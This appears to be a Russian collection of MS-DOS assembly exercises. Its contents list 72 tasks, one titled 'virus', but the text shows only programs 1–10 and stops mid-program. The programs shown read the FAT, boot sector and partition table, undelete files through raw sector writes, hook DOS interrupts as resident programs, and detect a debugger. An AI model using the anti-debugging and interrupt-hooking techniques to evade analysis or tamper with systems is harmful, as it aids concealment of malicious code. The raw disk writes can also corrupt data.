Оглавление

1 ;программа читает заданный сектор заданного файла.. 1

;без проверки на правильность введенного номера.. 1

;номер сектора должен вводиться в hex формате.. 1

2 ;TSR-программа на 16-й вектор с проверкой на повторную установку.. 5

3;программа вызывающая 16-е прерывание; 6

файл типа .exe.. 6

4 ;программа контролирует открытие EXE и COM файлов для записи.. 7

5 ;программа выводит содержимое FAT дискеты 3.5'' 8

6 ;программа выводит номера свободных кластеров дискеты 3.5'' 9

7 ;программа восстановления недефрагментированногофайла.. 11

в корневом каталоге надиске A.. 11

8 ;вывести Partition Table дискеты... 15

9;вывести ВРВ дискеты... 16

10 ;Написать программу, определяющую факт её работы в среде отладчика. 18

11 ; Эта прога выполняет по шагам оверлей overlay.ovl.. 19

Overlay. 19

12 ;выполнение программы по шагам без захода в процедуры второго уровня.. 20

13 ;вывести полный путь текущей программы... 21

14;Вывести полный путь текущей программы (взять из окружения) 22

15 ;Программа выводит свою Relacation Table.. 22

16 ;Вывести размер текущей программы... 25

17 ;Программа порождает дочерний процесс по пути.. 26

указанному в переменной окружения WORK. 26

18 ; Обращение к PSP и переменным добавление.. 28

; переменной дос TEMP1=<ком. строка>. 28

19 ;программа выводящая положение загрузочных секторов.. 30

;показывает расширенный раздел с номером... 30

;и относящиеся к нему SMBR с тем же номером... 30

20 ; прога бибикающая каждые 5 сек.. 32

21;программа читает заданный сектор заданного файла.. 33

;без проверки на правильность введенного номера.. 33

22 ; трассирование процедуры по шагам без без захода в подпроцедуры... 37

23 ; Вывести RT.. 38

24 ; программа с двумя точками входа.. 40

25; загрузить процесс указанный в переменной среды... 41

26 ; загрузка оверлея со словом -- точка входа.. 42

27 при нажатии Ctrl-Break бибип и выход.. 42

28; рез. программа на int 16h с защитой от повторного запуска.. 43

29 ; защита exe и com файлов.. 44

30 ; unerase.. 47

31; начальные адреса дисков.. 48

32; вывод bpb.. 51

33; сектор текстового файла.. 52

34; переписать последний клястер. 54

35; защита от отладчика.. 56

36; оверлей по шагам... 56

37 Резидентная программа, контролирующая чтение файлов типа .EXE.. 58

и .COM и выводящая соответствующее сообщение. 58

38 Вывести таблицу перенастройки (RT) текущей программы. 59

39; Обработка нажатия Ctrl_Pause.. 60

40;Резидент, выводящий по Alt+A сообщение.. 61

41 ;Резидент, выходящий по Alt+Q.. 61

42; Транзитная программа, cодержащая обработчик нажатия Ctrl-Break, по.. 62

; которму выводится строка сообщения и программа завершается. 62

43;TSR выводящая в нижней строке часы из CMOS. 63

44;Программа, контролирующая запуск программ... 64

45 Резидентная программа, которая активизируется по нажатию *. 66

Ctrl+B и удаляется из памяти по Ctrl+Q. *. 66

46 ;Проверка работы под дебаггером через регистр флагов.. 68

47;Программа, считающая число удаленных каталогов в корневом каталоге.. 69

48;Программа, считающая число удаленных файлов в корневом каталоге.. 69

49;Прочитать FAT дискеты в ОЗУ, выделив память динамически.. 70

50;Программа, считающая число незанятых элементов корневого каталога.. 70

51;Посчитать количество свободных кластеров дискеты... 71

52 Загрузить .EXE программу и настроить ее по месту.. 72

в памяти (не используя функцию Int 21h Fn 4Bh). 72

53.Разработать программу, выполняющую ввод опций из командной строки: 75

54;* Вывести начальые адреса разделов жесткого диска.. 77

55 Вывести размер текущей программы в байтах (информацию взять из заголовка файла) 80

56;передвинуть последний кластер файла.. 82

57 Вывести блок переменных среды MS-DOS. 86

58 Переписать последний кластер файла на свободное место (старый кластер освободить). 87

59 Загрузить оверлей и передать ему управление. Оверлей имеет две точки входа. 91

60 ;Вывод строки в определенное время.. 91

61 вирус.. 92

62; Программа определения сегментных адресов блоков памяти, принадлежащих.. 93

DOS.(программа выводящая MCB) 93

63.Программа выводящая блок переменных среды MS DOS. 95

64.Вывести формулы вычисления индекса в векторе.. 96

отображения для многомерного массива (размещены по столбцам). 96

65 программа с двумя точками входа. Передать текущую точку входа в командной строке. 96

66 ;Программа выводит свою Relacation Table.. 97

67 разбор командной строки и при определенном значении опции.. 100

загружает оверлей, выполняющий вывод сообщений на экран. 100

68 программа активизирующаяся по Int 16, с защитой от повторной загрузки. 101

;69Породить дочерний процесс, передав ему с помощью... 103

;переменной среды TEMP1=<имя файла> путь к рабочему файлу.. 103

;SET TEMP1=a:\vasiliev\1\proc.com... 103

70 Пилипец программа с двумя точками входа. Передать текущую точ- 104

ку входа в командной строке (EP1,2 - точки 1 и 2). 104

71 Пилипец Вывести сектор текстового файла (по его номеру, задаваемому в.. 105

командной строке). 105

72 Программа определения сегментных адресов блоков памяти, при- 109

надлежащих DOS. 109

1 ;программа читает заданный сектор заданного файла

;без проверки на правильность введенного номера

;номер сектора должен вводиться в hex формате

bufLen = 9*256

catLen = (32*224)

Say macro MESSAGE_ADDR

lea dx,&MESSAGE_ADDR

mov ah,9

int 21h

endm

text segment 'CODE'

assume cs:text,ds:data

MAIN PROC far

PUSH DS

SUB AX,AX

PUSH AX

MOV AX,DATA

MOV DS,AX

;определить длину строки параметров

mov al,byte ptr es:[80h]

mov parmLen,al

cmp al,0

jne Work

Say mess0

jmp exit

Work:

;выбрать из строки параметров номер сектора

call ConvertToHex

mov ax,ReadCluster

call vivod

;прочитать FAT в буфер

call ReadFat

;прочитать корневой каталог в буфер

call ReadCat

;поиск файла в корневом каталоге

call SearchFile

;вычисление относительного номера сектора

mov ax,CurCluster

add ax,31

add CurSector,ax

call vivod

mov ax,CurCluster

call vivod

;если задан первый сектор файла, то сразу читать его

mov cx,ReadCluster

cmp cx,1

je @a1

;иначе, отследить по FAT положение сектора файла

start:

call GetFatElement

loop start

@a1:

;один сектор на кластер

;получить сектор

call GetFileCluster

;вывести сектор

call OutFileCluster

;*******завершить процесс********

exit:

mov ah,4ch

int 21h

MAIN ENDP

;поиск файла в корневом каталоге для определения стартового кластера

SearchFile PROC

mov ax,SEG fName

mov ds,ax

mov ax,SEG catBuf

mov es,ax

mov bx,0

mov @,224

cld

;сравниваем имя файла

compr1:

mov cx,lenFn

mov si,offset fName

mov di,offset catBuf

add di,bx

repe cmpsb

je compr2

add bx,32

dec @

cmp @,0

jne compr1

jmp nofile

;сравниваем расширение файла

compr2:

mov cx,lenFe

mov si,offset fExt

mov di,offset catBuf

add di,bx

add di,08h

repe cmpsb

je file

add bx,32

jmp compr1

file:

Say mess1

add bx,1ah

;прочитать номер стартового кластера файла

mov al,catBuf[bx]

mov ah,catBuf[bx+1]

mov CurCluster,ax

ret

;файл не найден

nofile:

Say mess2

ret

SearchFile ENDP

;принимает в CurCluster номер кластера файла

GetFatElement PROC ;возвращает в CurCluster содержимое поля FAT

push cx

mov bx,offset fatBuf ;т.е. номер следующего элемента FAT

mov ax,CurCluster

shl ax,1 ;кластер * 2

add ax,CurCluster ;кластер * 3

test ax,1

pushf

shr ax,1 ;кластер * 1.5

add bx,ax

mov ax,[bx]

popf

jz B1

mov cl,4 ;произведение - дробное число

shr ax,cl

jmp B2

B1: and ax,0fffh ;произведение - целое число

B2: mov CurCluster,ax

mov CurSector,ax

add CurSector,31

pop cx

ret

GetFatElement ENDP

;читает сектор файла в filebuf

GetFileCluster PROC

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,01H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,CurSector ;НОМЕР СЕКТОРА

MOV BX,SEG filebuf

MOV DS,BX

mov BX,offset filebuf

INT 25H

popf

ret

GetFileCluster ENDP

;выводит сектор файла из filebuf на экран

OutFileCluster PROC

MOV AH,40H ;Функция вывода на экран

MOV BX,01 ;Номер устройства

MOV CX,512 ;Длина

LEA DX,filebuf

INT 21H

ret

OutFileCluster ENDP

;читает FAT в fatBuf

ReadFat PROC

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG fatBuf

MOV DS,BX

mov BX,offset fatBuf

INT 25H ;прочитать FAT в buf

popf

ret

ReadFat ENDP

;читает корневой каталог в catBuf

ReadCat PROC

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,0EH ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,19 ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG catBuf

MOV DS,BX

mov BX,offset catBuf

INT 25H

popf

ret

ReadCat ENDP

;пропускает стартовые пробелы строки параметров

SkipSpace proc near

NextSpace:

cmp byte ptr [si],' '

jne Cont

inc si

dec parmLen

jmp NextSpace

Cont:

ret

SkipSpace endp

;Преобразование числа в строке параметров в hex формат

ConvertToHex proc

mov si,81h

inc si ;Настроить si на первый символ командной строки

dec parmLen

call SkipSpace

xor cx,cx

mov cl,parmLen

xor ax,ax

convert:

push cx

mov al,es:[si]

CMP AL,39H

JBE B

SUB AL,7H

B:

SUB AL,30H

XOR AH,AH

MOV CL,4

SHL ReadCluster,CL

ADD ReadCluster,AX

pop cx

inc si

loop convert

ret

ConvertToHex endp

VIVOD proc near

;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX

;ВЫВОД ОСУЩЕСТВЛЯЕТСЯ В ДЕСЯТИЧНОМ ФОРМАТЕ

mov @,0h

xor dx,dx

mov bx,10

C3:

div bx

push dx

sub dx,dx

inc @

cmp ax,0

jne C3

mov cx,word ptr @

mov ch,0h

C4:

pop dx

add dl,30h

mov ah,02h

int 21h

loop C4

mov dl,' '

mov ah,02h

int 21h

RET

VIVOD endp

text ends

data segment

@ dw 00h

fatBuf dw bufLen DUP(0) ;Область размещения FAT

catBuf db catLen DUP(0) ;Область размещения корневого каталога

filebuf db 512 dup(0) ;область ввода кластеров файла

fName db 'README'

lenFn = $-fName

; fName db 'RT'

; lenFn = $-fName

fExt db 'TXT'

lenFe = $-fExt

; fExt db 'ASM'

; lenFe = $-fExt

CurCluster dw ?

ReadCluster dw 0

CurSector dw ?

parmLen db ?

mess0 db "Укажите номер сектора файла в шестнадцатиричном формате!",10,13,"$"

mess1 db "Файл найден!",10,13,"$"

mess2 db "Файл не найден!",10,13,"$"

data ends

end

2 ;TSR-программа на 16-й вектор с проверкой на повторную установку

text segment 'code'

assume cs:text,ds:text

org 100h

new_16h proc far

jmp init

;Признак повторной установки

mark dw 1234h

entry: push ax

push cx

push si

push ds

push es

push di

;Наша функция?

cmp ah,07h

jne en_d

mov ax,cs

mov ds,ax

mov ax,0b800h

mov es,ax

mov di,80*2*12+32*2

mov si,offset soob1

mov cx,len1

rep movsb

en_d:

pop di

pop es

pop ds

pop si

pop cx

pop ax

jmp cs:old_16h

new_16h endp

soob1 db "H",34h,"e",34h,"l",34h,"l",34h,"o",34h,"w",34h,"!",34h

len1=$-soob1

old_16h dd 0

ressize=$-new_16h

soob2 db "Резидент установлен!","$"

soob3 db "Резидент уже установлен!","$"

;Транзитная часть

init proc

;Получить содержимое 16-го вектора

mov ah,35h

mov al,16h

int 21h

push bx

sub bx,2

;Проверить на повторную установку

cmp word ptr es:[bx],1234h

je instaled

pop bx

mov word ptr old_16h,bx

mov word ptr old_16h+2,es

push ds

;Заполнить 16-й вектор

mov dx,offset entry

mov ah,25h

mov al,16h

int 21h

pop ds

mov ah,09h

mov dx,offset soob2

int 21h

;Оставить резидентной и выити в DOS

mov dx,(ressize+10fh)/16

mov ax,3100h

int 21h

instaled:

mov ah,09h

mov dx,offset soob3

int 21h

mov ax,4c01h

int 21h

init endp

text ends

end new_16h

3;программа вызывающая 16-е прерывание;

файл типа .exe

Say macro MESSAGE_ADDR

lea dx,&MESSAGE_ADDR

mov ah,9

int 21h

endm

CODESG SEGMENT PARA 'CODE'

ASSUME CS:CODESG,DS:DATASG

BEGIN PROC FAR

PUSH DS

SUB AX,AX

PUSH AX

MOV AX,DATASG

MOV DS,AX

mov ah,07h

int 16h

; Say mess1

exit:

mov ax,4c00h

int 21h

BEGIN ENDP

CODESG ENDS

DATASG SEGMENT PARA 'DATA'

mess1 db "Hellow!",10,13,"$"

DATASG ENDS

END BEGIN

4 ;программа контролирует открытие EXE и COM файлов для записи

code segment

assume cs:code,ds:code,ss:code

org 100h

begin: jmp main

;обработчик открытия файла для записи

int21: push ax bx dx cx ds

cmp ah,03Dh ;открытие файла

jne exit

cmp al,00h ;00-чтение

;если режим только чтения, на выход

je exit ;01-запись, 10-запись и чтение

;поиск конца ASCIIZ строки, кот. находится в DS:DX

mov bx,dx

next: inc bx

mov al,ds:[bx]

cmp al,0 ;признак окончания строки

jne next ;если не конец, перейти к

;следующему символу

;проверка на расширение .COM

mov al,ds:[bx-1]

cmp al,'M'

jne exe

mov al,ds:[bx-2]

cmp al,'O'

jne exe

mov al,ds:[bx-3]

cmp al,'C'

jne exe

mov al,ds:[bx-4]

cmp al,'.'

jne exit

jmp print

jmp exit

;проверка на расширени EXE

exe: mov al,ds:[bx-1]

cmp al,'E'

jne exit

mov al,ds:[bx-2]

cmp al,'X'

jne exit

mov al,ds:[bx-3]

cmp al,'E'

jne exit

;вывести имя файла

print: mov bx,dx

L1: mov ah,02h

mov dl,ds:[bx]

int 21h

inc bx

cmp dl,0 ;проверка на конец строки

jne L1;если не конец,то взять следующий символ

exit: pop ds cx dx bx ax

;передать управление старому обработчику int 21h

db 0eah ;код команды JMP

old_int21 dd ? ;адрес старого обработчика

main: mov ax,3521h;получить адрес

int 21h ;обработчика INT 21h

mov word ptr old_int21,bx ;сохранить адрес

mov word ptr old_int21+2,es;старого обработчика

mov ax,2521h

mov dx,offset int21 ;установить свой обработчик

int 21h

mov dx,offset main

int 27h;завершить программу и оставить резидентной

code ends

end begin

5 ;программа выводит содержимое FAT дискеты 3.5''

bufLen = (9*512)

text segment 'CODE'

assume cs:text,ds:data

MAIN PROC far

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG fatBuf

MOV DS,BX

mov BX,offset fatBuf

INT 25H ;прочитать FAT в buf

popf

call OutFat

;*******завершить процесс********

exit:

mov ah,4ch

int 21h

;********************************

MAIN ENDP

GetFatElement PROC ;возвращает в CurCluster содержимое поля FAT

mov bx,offset fatBuf

mov ax,CurCluster

shl ax,1 ;кластер * 2

add ax,CurCluster ;кластер * 3

test ax,1

pushf

shr ax,1 ;кластер * 1.5

add bx,ax

mov ax,[bx]

popf

jz B1

mov cl,4 ;произведение - дробное число

shr ax,cl

jmp B2

B1: and ax,0fffh ;произведение - целое число

B2: mov CurCluster,ax

ret

GetFatElement ENDP

OutFat PROC

mov cx,bufLen

start:

mov ax,CurCluster

mov saveCluster,ax

push cx

call GetFatElement

mov ax,CurCluster

call vivod

pop cx

; mov ah,08h

; int 21h

mov ax,saveCluster

mov CurCluster,ax

inc CurCluster

loop start

ret

OutFat ENDP

VIVOD proc near

;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX

mov @,0h

xor dx,dx

mov bx,10

C3:

div bx

push dx

sub dx,dx

inc @

cmp ax,0

jne C3

mov cx,word ptr @

mov ch,0h

C4:

pop dx

add dl,30h

mov ah,02h

int 21h

loop C4

mov dl,' '

mov ah,02h

int 21h

RET

VIVOD endp

text ends

data segment

@ dw 00h

fatBuf dw bufLen DUP(0) ;Область размещения FAT

CurCluster dw 2

saveCluster dw 0

data ends

end

6 ;программа выводит номера свободных кластеров дискеты 3.5''

bufLen = (9*512)/2

text segment 'CODE'

assume cs:text,ds:data

MAIN PROC far

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG fatBuf

MOV DS,BX

mov BX,offset fatBuf

INT 25H ;прочитать FAT в buf

popf

call OutFree

;*******завершить процесс********

exit:

mov ah,4ch

int 21h

;********************************

MAIN ENDP

GetFatElement PROC ;возвращает в CurCluster содержимое поля FAT

mov bx,offset fatBuf

mov ax,CurCluster

shl ax,1 ;кластер * 2

add ax,CurCluster ;кластер * 3

test ax,1

pushf

shr ax,1 ;кластер * 1.5

add bx,ax

mov ax,[bx]

popf

jz B1

mov cl,4 ;произведение - дробное число

shr ax,cl

jmp B2

B1: and ax,0fffh ;произведение - целое число

B2: mov CurCluster,ax

ret

GetFatElement ENDP

OutFree PROC

mov cx,bufLen

; mov cx,20

start:

mov ax,CurCluster

mov saveCluster,ax

push cx

call GetFatElement

cmp CurCluster,0

jne @a1

mov ax,saveCluster

call vivod

;Задержка

; mov ah,08h

; int 21h

@a1:

pop cx

mov ax,saveCluster

mov CurCluster,ax

inc CurCluster

loop start

ret

OutFree ENDP

VIVOD proc near

;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX

mov @,0h

xor dx,dx

mov bx,10

C3:

div bx

push dx

sub dx,dx

inc @

cmp ax,0

jne C3

mov cx,word ptr @

mov ch,0h

C4:

pop dx

add dl,30h

mov ah,02h

int 21h

loop C4

mov dl,' '

mov ah,02h

int 21h

RET

VIVOD endp

text ends

data segment

@ dw 00h

fatBuf dw bufLen DUP(0) ;Область размещения FAT

CurCluster dw 2

saveCluster dw 0

data ends

end

7 ;программа восстановления недефрагментированногофайла

в корневом каталоге надиске A

;корневой каталог занимает с 19 по 32 сектора и состоит из

;224 злементов по 32 байта каждый

;первый FAT занимает с 1 по 9 сектор, а второй FAT - с 10 по 18 сектора

;Так как FAT 12-ти битный , то в трех байтах FAT содержатся два элемента FAT.

;Для локализации элемента FAT необходимо номер кластера умножить на 1.5,

;выбрать содержимое байтов по смещению целой части от деления. Байты меняются

;местами. Если номер кластера нечетный то берутся первые три цифры, иначе

;брать последние три цифры. Эти цифры указывают на следующий кластер.

catLen = (32*224) ;длина буфера под каталог

fatLen = (9*512)/2 ;длина буфера под FAT

text segment 'CODE'

assume cs:text,ds:data

MAIN PROC far

PUSH DS

SUB AX,AX

PUSH AX

MOV AX,DATA

MOV DS,AX

; Чтение в память FAT 1

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG fatBuf1

MOV DS,BX

mov BX,offset fatBuf1

INT 25H ;прочитать FAT 1 в fatBuf1

popf

; Чтение в память FAT 2

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,10 ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG fatBuf2

MOV DS,BX

mov BX,offset fatBuf2

INT 25H ;прочитать FAT 2 в fatBuf2

popf

; Чтение в память каталога

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,0EH ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,19 ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG catBuf

MOV DS,BX

mov BX,offset catBuf

INT 25H ;прочитать каталог в catBuf

popf

MOV BX,SEG catBuf

MOV DS,BX

;Поиск первого удаленного файла

xor ax,ax

mov cx,maxCatSize ;в CX max количество записей в каталоге

fnd_lp:

mov bx,offset catBuf ;в BX размещение каталога в памяти

add bx,ax ;в AX смещение в каталоге на начало записи

add ax,32 ;приращение для перехода на след. запись

cmp byte ptr [bx],0e5h ;сравнение первого символа в записи для

;нахождения удаленного файла

loopnz fnd_lp ;переход на метку fnd_lp если найден файл или

;конец каталога

cmp cx,0 ;определение того, что в каталоге нет удаленного

;файла

je exit ;если файл не найден, тогда выход

sub ax,32 ;AX указывает на следующий файл после первого

;удаленного

mov pos,ax ;в pos позиция первого удаленного файла

mov ax,[bx]+26

mov startCluster,ax ;в startCluster первый кластер файла

mov ax,[bx]+29

mov fSize,ax

shr fSize,1

add fSize,1 ;в fSize размер файла в кластерах

mov ax,DATA

mov ds,ax

call Restore ;вызов процедуры восстановления файла

exit: ;выход из программы

mov ah,4ch

int 21h

MAIN ENDP

;Процедура восстановления файла

Restore proc NEAR

mov Buf,offset fatBuf1

call SetFatElement ;вызов процедуры восстановления FAT 1

mov Buf,offset fatBuf2

call SetFatElement ;вызов процедуры восстановления FAT 2

mov bx,pos ;в BX позиция в каталоге удаленного файла

mov catBuf[bx],'L' ;замена символа 0E5h на символ 'L' в имени файла

;Запись на диск каталога из памяти

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,0EH ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,19 ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG catBuf

MOV DS,BX

mov BX,offset catBuf

INT 26H ;Запись каталога на диск из catBuf

popf

;Запись на диск FAT 1 из памяти

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG fatBuf1

MOV DS,BX

mov BX,offset fatBuf1

INT 26H ;Запись FAT 1 на диск из fatBuf1

popf

;Запись на диск FAT 2 из памяти

MOV AL,00h ;номер дисковода

MOV AH,00H

MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ

MOV DX,10 ;НОМЕР ПЕРВОГО СЕКТОРА

MOV BX,SEG fatBuf2

MOV DS,BX

mov BX,offset fatBuf2

INT 26H ;Запись FAT 2 на диск из fatBuf2

popf

ret

Restore endp

;Процедура восстановления FAT

SetFatElement PROC NEAR

push ax

push bx

push cx

push dx

mov ax,startCluster

mov CurCluster,ax ;записать в CurCluster startCluster

mov ax,fSize

mov vSize,ax ;записать в vSize (счетчик кластеров) fSize

start:

mov bx,Buf ;в BX начало буфета, где в памяти находится FAT

mov ax,CurCluster

call vivod ;вызов процедуры вывода на экран номера кластера

test ax,1 ;проверка номера кластера на четность

pushf ;запомнить флаг в стеке

;вычисление смещения кластера в FAT относительно начала буфера

shl ax,1 ;кластер * 2

add ax,CurCluster ;кластер * 3

shr ax,1 ;кластер / 2

;в AX номер кластера деленный на 1.5

mov addr,ax ;в addr смещение кластера

add bx,addr ;в BX адрес кластера в памяти

mov dx,[bx] ;в DX значение двух байт до изменения

inc CurCluster ;файл не фрагментирован поэтому каждый кластер

;указывает на следующий

mov cx,CurCluster

mov ax,CurCluster

popf ;восстановление флагов из стека для определения

;четности номера кластера

jz B1 ;если номер кластера четный, то переход на B1

;если номер кластера нечетный

mov cl,4

shl ax,cl ;номер кластера в AX смещаем на 4 бита влево

mov cx,ax ;в CX смещенный номер кластера

and dx,0fh ;от два байта(до изменения) возмем только

;младшие 4 бита(эти 4 бита от другого кластера)

or cx,dx ;сложим старшие 12 бит смещенного номера кластера

;и младшие 4 бита другого кластера

or dx,0fff0h ;в DX сложим младшие 4 бита другого кластера

;и значение 0FFFh (последний кластер файла)

;для того, если этот кластер окажится последним

jmp B2 ;переход на B2

;если номер кластера нечетный

B1:

and dx,0f000h ;от два байта(до изменения) возмем только

;старшие 4 бита(эти 4 бита от другого кластера)

or cx,dx ;сложим младшие 12 бит смещенного номера кластера

;и старшие 4 бита другого кластера

or dx,0fffh ;в DX сложим старшие 4 бита другого кластера

;и значение 0FFFh (последний кластер файла)

;для того, если этот кластер окажится последним

B2:

cmp vSize,1 ;проверка на последний кластер

jne B3 ;если не последний, то переход на B3

;если последний кластер

mov [bx],dx ;в память по адресу BX запишем заранее сформиро-

;ванное значение 0FFFh (последний кластер)

jmp B4 ;переход на B4

;если не последний кластер

B3:

mov [bx],cx ;в память по адресу BX запишем заранее сформиро-

;ванное значение (номер кластера + 1)

dec vSize ;уменьшим счетчик кластеров

jmp Start ;переход на Start

;выход

B4:

pop dx

pop cx

pop bx

pop ax

ret

SetFatElement ENDP

VIVOD proc near

;Процедура вывода на экран целого числа в регистре AX.

;Число помещается в ax и осуществляется выделение цифр

;начиная с младшей путем деления числа на 10.

;После деления значащая цифра числа находится в регистре dx (остаток

;от деления). Эта цифра помещается в стек.

push ax

push bx

push dx

push cx

mov @,0h

xor dx,dx

mov bx,10

C3:

div bx

push dx

sub dx,dx

inc @

cmp ax,0

jne C3

mov cx,word ptr @

mov ch,0h

;вывод числа на экран посимвольно

;цифры числа извлекаются из стека

C4:

pop dx

add dl,30h

mov ah,02h

int 21h

loop C4

mov dl,' '

mov ah,02h

int 21h

pop cx

pop dx

pop bx

pop ax

RET

VIVOD endp

text ends

data segment

@ dw 00h

catBuf db catLen DUP(0) ;Область размещения корневого каталога

fatBuf1 dw fatLen DUP(0) ;Область размещения FAT 1

fatBuf2 dw fatLen DUP(0) ;Область размещения FAT 2

startCluster dw ? ;стартовый кластер восстанавливаемого файла

curCluster dw 0

addr dw 0

step dw 32 ;размер элемента каталога

count dw 0

maxCatSize dw 224 ;максимальный размер корневого каталога в 32-битных

;элементах

fSize dw ? ;размер удаленного файла в секторах

pos dw ? ;позиция файла в каталоге

Buf dw ? ;указатель на буфер

vSize dw ? ;счетчик кластеров

data ends

end

8 ;вывести Partition Table дискеты

print macro p1;макрос выводящий на экран сообщение p1

push dx

push ax

lea dx,p1

mov ah,9

int 21h

pop ax

pop dx

endm

s_stack segment para stack 'stack'

dw 1024 dup(?)

s_stack ends

s_data segment para public'date'

buffer db 512 dup (?);память под один сектор

str1 db 'Partition table:',10,13,'$'

nl db 10,13,'$' ;символ новой строки

count db 04h ;число записей в Partition Table

s_data ends

s_code segment para public 'code'

main proc far

assume cs:s_code,ds:s_data,ss:s_stack

push ds

sub ax,ax

push ax

mov ax,s_data

mov ds,ax

print str1 ;напечатаь строчку str1

;прочитать в буфeр самый первый сектор диска

mov ax,seg buffer ;ES:BX=сегмент:смещение буфера

mov es,ax

mov bx,offset buffer

mov dl,80h ;дисковод 80-жесткий диск

mov dh,0 ;головка

mov ch,0 ;цилиндр

mov cl,1 ;сектор

mov al,1 ;число секторов

mov ah,2 ;прочитать сектор

int 13h

;первый сектор в буфере

mov bx,offset buffer

add bx,01BEh ;начало первого раздела

next: mov cx,010h ;длина раздела

cycle: mov al,[bx]

call hexout ;вывести в шестнадцатеричном виде al

inc bx

loop cycle

print nl ;перевод строки

dec count

cmp count,0 ;если count=0, то все записи выведены

ja next ;если же нет, то вывести следующую

;распечатаь сигнатуру (AA55h)

mov al,[bx+1]

call hexout

mov al,[bx+2]

call hexout

ret

endp

;********************************************

hexout proc far ;AL=выводимое число

push dx

push ax

push bx

mov bl,al

mov ah,02h

mov dl,bl

shr dl,4

and dl,0Fh

add dl,30h

cmp dl,3Ah

jl @out1

add dl,07h

@out1: int 21h

mov dl,bl

and dl,0Fh

add dl,30h

cmp dl,3Ah

jl @out2

add dl,07h

@out2: int 21h

mov dl,' '

int 21h

pop bx

pop ax

pop dx

ret

endp

s_code ends

end main

9;вывести ВРВ дискеты

title print_BPB

print macro p1

lea dx,p1

mov ah,9

int 21h

endm

s_stack segment para stack 'stack'

dw 1024 dup(?)

s_stack ends

s_data segment para public'date'

buffer db 0E9h,00h,00h ;первые три байта диска

FIRMID db '12345678' ;фирма изготовитель

bpb db 501 dup (?) ;BPB и все остальное

str1 db 'BPB дискеты:',10,13,'$'

s_data ends

s_code segment para public 'code'

main proc far

assume cs:s_code,ds:s_data,ss:s_stack

push ds

sub ax,ax

push ax

mov ax,s_data

mov ds,ax

print str1 ;вывести строку str1

mov ax,seg buffer ;ES:BX=сегмент:смещение буфера

mov es,ax

mov bx,offset buffer

mov dl,0 ;дисковод 00-7F гибкий диск

mov dh,0 ;головка

mov ch,0 ;цилиндр

mov cl,1 ;сектор

mov al,1 ;число секторов

mov ah,2 ;прочитать сектор

int 13h

mov bx,offset bpb ;dx=смещение BPB

mov cx,2Bh ;длина BPB

cycle: mov al,[bx]

call hexout ;вывести символ в шестнадцатеричном виде

inc bx

loop cycle ;если cx <> 0, то идти на cycle

ret

endp

;****** вывод содержимого AL в шестнадцатеричном виде****

hexout proc far ;AL=выводимое число

push dx

push ax

push bx

mov bl,al

mov ah,02h

mov dl,bl

shr dl,4

and dl,0Fh

add dl,30h

cmp dl,3Ah

jl @out1

add dl,07h

@out1: int 21h

mov dl,bl

and dl,0Fh

add dl,30h

cmp dl,3Ah

jl @out2

add dl,07h

@out2: int 21h

mov dl,' '

int 21h

pop bx

pop ax

pop dx

ret

endp

s_code ends

end main

10 ;Написать программу, определяющую факт её работы в среде отладчика.

Code segment para

assume cs:code,ss:code,ds:code,es:code

org 100h

begin:

jmp start

mes1 db "Debuger is activate step by step",10,13,"$"

mes15 db "Vector 03h is hook",10,13,"$"

mes2 db "Programm run",10,13,"$"

start:

mov ax, 3503h ;получаем адрес программы обработчика

int 21h ;прерывания 03h

;теперь он по адресу ES:BX

mov al, byte ptr ir ;в al код команды iret

cmp byte ptr es:[bx], al ;проверяем настроен ли обработчик

;прерывния 03h

je l2

mov ah,09h

mov dx,offset mes15

int 21h

l2:

mov ah,09h

mov dx,offset mes2

int 21h

mov di,sp

sub di,2 ;di=sp-2

mov ax,0

mov word ptr ds:[di],ax ;записываем 0

mov ax,word ptr ds:[di] ;получи в обратку 0 если

;прога не трассируется

;иначе в ах - регистр флагов

;регистр флагов автоматически помещается при вызове прерывания

;в стек. Если поместить в следующую за указателем стека ячейку

;число 0 а затем считать результат, то

;в случае пошагового выполнения там окажется регистр флагов,

;который никогда не равен 0

cmp ax,0

je exit ; если ах=0 то прога не под

; отладчиком

mov dx,offset mes1 ; иначе она трассируется,

mov ah, 09h ; о чем и сообщаем

int 21h

